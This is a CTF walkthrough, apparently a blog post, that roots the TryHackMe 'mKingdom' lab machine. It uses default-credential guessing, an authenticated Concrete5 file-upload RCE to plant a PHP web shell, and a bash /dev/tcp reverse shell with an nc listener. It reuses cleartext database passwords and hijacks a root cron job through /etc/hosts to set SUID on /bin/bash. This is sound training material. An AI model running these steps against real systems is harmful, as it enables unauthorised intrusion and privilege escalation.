TryHackMe | mKingdom

In this walkthrough, I demonstrate how I obtained complete ownership of the mKingdom room on TryHackMe
TryHackMe | mKingdom
In: TryHackMe, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Thu Jun 20 11:50:21 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt
Nmap scan report for
Host is up (0.076s latency).
Not shown: 65534 closed tcp ports (reset)
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN

Service detection performed. Please report any incorrect results at .
# Nmap done at Thu Jun 20 11:51:02 2024 -- 1 IP address (1 host up) scanned in 41.85 seconds

Service Enumeration


Nothing particularly interesting in the source code, no robots.txt or sitemap.xml. We're going to need to do some enumeration of directories and files.

Gobuster Enumeration

Directories and Files

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/big.txt -o mKingdom_83.txt -t 100
/.htaccess            (Status: 403) [Size: 288]
/.htpasswd            (Status: 403) [Size: 288]
/app                  (Status: 301) [Size: 312] [-->]
/server-status        (Status: 403) [Size: 292]


Page Source

<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;

        button {
            padding: 10px 20px;
            font-size: 16px;
            cursor: pointer;
            background-color: #4CAF50;
            color: #fff;
            border: none;
            border-radius: 5px;
    <button onclick="buttonClick()">JUMP</button>

        function buttonClick() {
            alert("Make yourself confortable and enjoy my place.");
            window.location.href = 'castle';

If we click the JUMP button, this should bring up a JavaScript alert and then redirect us to /castle.

We click OK and then are redirected to /app/castle


Version disclosure -- 8.5.2 -- and interesting JavaScript variables

Happy Path Testing

Walking the “happy path” · Pwning OWASP Juice Shop

We don't know anything about the web app at the moment, so we're just going to click around and explore, enter expected inputs, and see what things do.

upload in progress, 0
/blog seems to be built with a CMS called concrete5
Click the "Hello World" blog, there is a comment form with file upload
Test the comment with a whitelisted file type
upload in progress, 0
The form at /contact does actually make a HTTP POST to the server
upload in progress, 0
The search box at the top-right searches and highlights content on the page
upload in progress, 0
The /login link at the bottom takes us to a sign-in page
upload in progress, 0
The password reset form takes an email and does not sensitive information

Unhappy Path Testing

concrete5 8.5.2 cve - Google Search

Search for CVEs for this version of Concrete5

NVD - CVE-2020-24986

CVE-2020-24986 -- RCE via File Upload

Concrete CMS disclosed on HackerOne: Remote Code Execution (Reverse...
Remote Code Execution (Reverse Shell) - File Manager • Title: concrete5-8.5.2 Remote Code Execution - Reverse Shell • Keyword: crayons • Software : concrete5 • Product Version: 8.5.2 •…

According to the write-up in the vulnerability disclosure on HackerOne, this is an authenticated RCE via file upload. It requires us to log into the admin panel and allow .php as a file upload type.

We can see the blog was written by user admin
When you load the blog, there's an embedded script to check the uploaded file's extension, but in testing, this was also verified server-side even if overridden client-side

Finding the Admin Login

We need to know the login for the admin user in order to be able to log into the admin dashboard and change the list of whitelisted file extensions.

When Googling, I found that the default username of the Concrete5 CMS is admin, so it looks like the web admin is still using the default account to write blog posts. This is a sign of bad hygiene and poor security practices.

Let's start off by taking some simple guesses...

  • admin:admin — ❌
  • admin:password — 🎉
Too easy!

Testing the Exploit

System & Settings > Files
Add some additional file types to the comma-separated list and click Save
Go back to the main dashboard > Files > File Manager
Click Upload Files
wwwolf-php-webshell/webshell.php at master · WhiteWinterWolf/wwwolf-php-webshell
WhiteWinterWolf’s PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.

I'm going to use this web shell


Download the webshell file for upload to the target

Click Close
Click URL to File
Nice, we've got a web shell!


This version of Concrete5 CMS is vulnerable to arbitrary code execution via file upload. However, the exploit requires access as a privileged user to the administrator dashboard.

At face value, this exploit does not present a problem, due to the authentication requirements. However, because the web administrator is using the default username along with a poor choice of password, this exploit becomes extremely trivial.

Web Shell to Reverse Shell

sudo rlwrap nc -lnvp 443

Start a TCP listener on your preferred port

bash -c 'bash -i >& /dev/tcp/ 0>&1'

Command to run in the web shell to connect back to listener

export TERM=linux
python -c "import pty; pty.spawn('/bin/bash')"

Quality-of-life improvements in your reverse shell

Post-Exploit Enumeration

Operating Environment

OS & Kernel

VERSION="14.04.6 LTS, Trusty Tahr"
PRETTY_NAME="Ubuntu 14.04.6 LTS"

Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)

Sorry, user www-data may not run sudo on mkingdom.    

Users and Groups

Local Users


Local Groups


Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:62:2a:f4:57:11 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::62:2aff:fef4:5711/64 scope link 
       valid_lft forever preferred_lft forever    

Open Ports

tcp    LISTEN     0      50                     *:*     
tcp    LISTEN     0      128                     *:*    

Interesting Files



return [
    'default-connection' => 'concrete',
    'connections' => [
        'concrete' => [
            'driver' => 'c5_pdo_mysql',
            'server' => 'localhost',
            'database' => 'mKingdom',
            'username' => 'toad',
            'password' => 'toadisthebest',
            'character_set' => 'utf8',
            'collation' => 'utf8_unicode_ci',

Privilege Escalation

Lateral to Toad

We got an initial foothold via the Concrete5 CMS. In general, once you have access to the system, it's a good idea to go back and look at configuration files for the application you came in on.

During the post-exploit enumeration process, we found the database configuration file for the Concrete5 CMS, which has the password for toad in cleartext.
su toad

We could use the password to connect to the database, but let's just do a quick check to see if the database password is also the user password

Indeed, the database password is re-used as the user password!
It's a good idea to check for sudo privileges as a quick win, but no such luck
Now, we restart the post-exploit enumeration process as the toad user, looking for interesting things this user has access to

Interesting Files


   110    if [ -f /usr/share/bash-completion/bash_completion ]; then
   111      . /usr/share/bash-completion/bash_completion
   112    elif [ -f /etc/bash_completion ]; then
   113      . /etc/bash_completion
   114    fi
   115  fi
   117  export PWD_token='aWthVGVOVEFOdEVTCg=='

On line 117, we see the export statement setting a variable of PWD_token with a value of aWthVGVOVEFOdEVTCg==.

Sure enough, that variable is set in our session
Decode the base64 data
I'd be willing to bet this is a user password. We already have toad's password, so it's more than likely going to be mario or root's password.
Indeed, we are now mario

Lateral to Mario

Now that we are mario, we yet again repeat the post-exploit enumeration process
Again, always good to do a quick check on sudo after changing user, but this avenue is a dead end, as the id command has no potential for abuse and the binary is not writable
You'll probably try to run cat user.txt at this point and be rightfully frustrated when it doesn't work. the /bin/cat binary is set with -rwsr-xr-x 1 toad root 47904 Mar 10 2016, meaning that it is going to run as toad and toad cannot read user.txt.

Instead, go back to your session as toad and run chmod 0755 /bin/cat and then, switch back to mario. Or, use another binary such as more user.txt to read the file.

Interesting Files


There are 48728 folder and files in TheCastleApp in - - - - > Thu Jun 20 17:01:01 EDT 2024.
There are 48728 folder and files in TheCastleApp in - - - - > Thu Jun 20 17:02:02 EDT 2024.
There are 48728 folder and files in TheCastleApp in - - - - > Thu Jun 20 17:03:01 EDT 2024.
There are 48728 folder and files in TheCastleApp in - - - - > Thu Jun 20 17:04:01 EDT 2024.
I had initially discovered this file when running as toad, but realized that the privilege escalation procedure would require me to be running as mario...

I hunted around the file system looking for interesting files, such as:

  • SUID files
  • Files owned by mario, root, or toad that might have interesting data
  • Other configuration files
  • Log files

And the file I found here seems to run every minute and tally the files and folders in TheCastleApp, wherever that may be.

grep -lr 'TheCastleApp' /directory_name_here

I started grepping around recursively for the TheCastleApp on the file system

Spying on the Cron Job

We know the script is being run at one-minute intervals, likely by a cron job under another user's crontab. We know it's not ours, because running crontab -l returns nothing as toad or www-data. So it must be either root or mario.
Releases · DominicBreuker/pspy
Monitor linux processes without root permissions. Contribute to DominicBreuker/pspy development by creating an account on GitHub.

For this task, we can use the pspy binary on the target machine. More about pspy:

Using the inotify API, you can get notifications whenever these files are created, modified, deleted, accessed, etc. Linux does not require priviledged users for this API since it is needed for many innocent applications (such as text editors showing you an up-to-date file explorer). Thus, while non-root users cannot monitor processes directly, they can monitor the effects of processes on the file system.

So, the pspy process will watch the inotify API for activity indicating that processes are creating / deleting / modifying / accessing files on the file system. Then, it will try and read the process metadata under /proc/<proc_id> to see what it is doing.

wget -O pspy

Download the latest release to your attack box

sudo python3 -m http.server 80

Start a HTTP server to host pspy

wget -O /tmp/pspy
chmod u+x /tmp/pspy

Download pspy to the target from your attack box and make it executable

Downloaded pspy to the target
/tmp/pspy > /tmp/pspy.txt &
Start pspy in the background
cat /tmp/pspy.txt and we see the cron job's command line here in the output
killall pspy

Stop the pspy process, so it doesn't fill up the disk

Indirectly Manipulating the Cron Job

We see the cron job does two things:

  1. Run curl mkingdom.thm:85/app/castle/application/ (likely to check if the file exists)
  2. Run /bin/sh -c curl mkingdom.thm:85/app/castle/application/ | bash >> /var/log/up.log to feed the output from into bash via the pipeline
    1. Effectively, this causes bash to run the script

What are the possible ways to indirectly manipulate this cron job?

❌ The task is running in root crontab (see UID=0), so off limits
❌ We can't use a port forward, since tcp/85 is a privileged port is not writable by our current user
❌ There's no way to abuse PATH injection due to cron PATH
❌ The contents of the script itself only run ls -laR | wc, no avenue
❌ We can't replace sh, curl, bash, ls, or wc as they're not writable
✅ We can manipulate the DNS record in /etc/hosts

mario has rw on the /etc/hosts file
mkingdom.thm points to, but we can overwrite with our VPN IP

Becoming Root

Overwriting the Hosts File

cp /etc/hosts /tmp/hosts.bak

Make a backup of the current /etc/hosts file

# s/ : substitute
# 127\.0\.1\.1\tmkingdom.thm : replace the IP {tab} mkingdom.thm
# 10\.6\.63\.22\t\tmkingdom.thm : with VPN IP {tab} mkingdom.thm

cat /etc/hosts | sed 's/127\.0\.1\.1\tmkingdom\.thm/10\.6\.63\.22\t\tmkingdom.thm/g' > /tmp/replace_hosts

Had to do it this way, because sed was running into permissions issues

cat /tmp/replace_hosts > /etc/hosts
Nice! We've overwritten the file

Creating the Counterfeit Script

# Create the directory structure that the cron job looks for
mkdir -p /tmp/app/castle/application
# Create the script file
nano /tmp/app/castle/application/

Create on your attack box

#! /usr/bin/env bash

# Set SUID bit on /bin/bash binary
chmod 4755 /bin/bash

This is the contents of on the attack box

sudo python3 -m http.server 85 --direcotry /tmp

Start a HTTP server on tcp/85 and the cron job should hit the server at next run

Nice! The python HTTP server responded HTTP 200 to the client
And /bin/bash now has the SUID bit set
/bin/bash -ip

Run this command as mario to run bash with the SUID privileges

euid=0 -- we're root!
And, here is the cron job





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.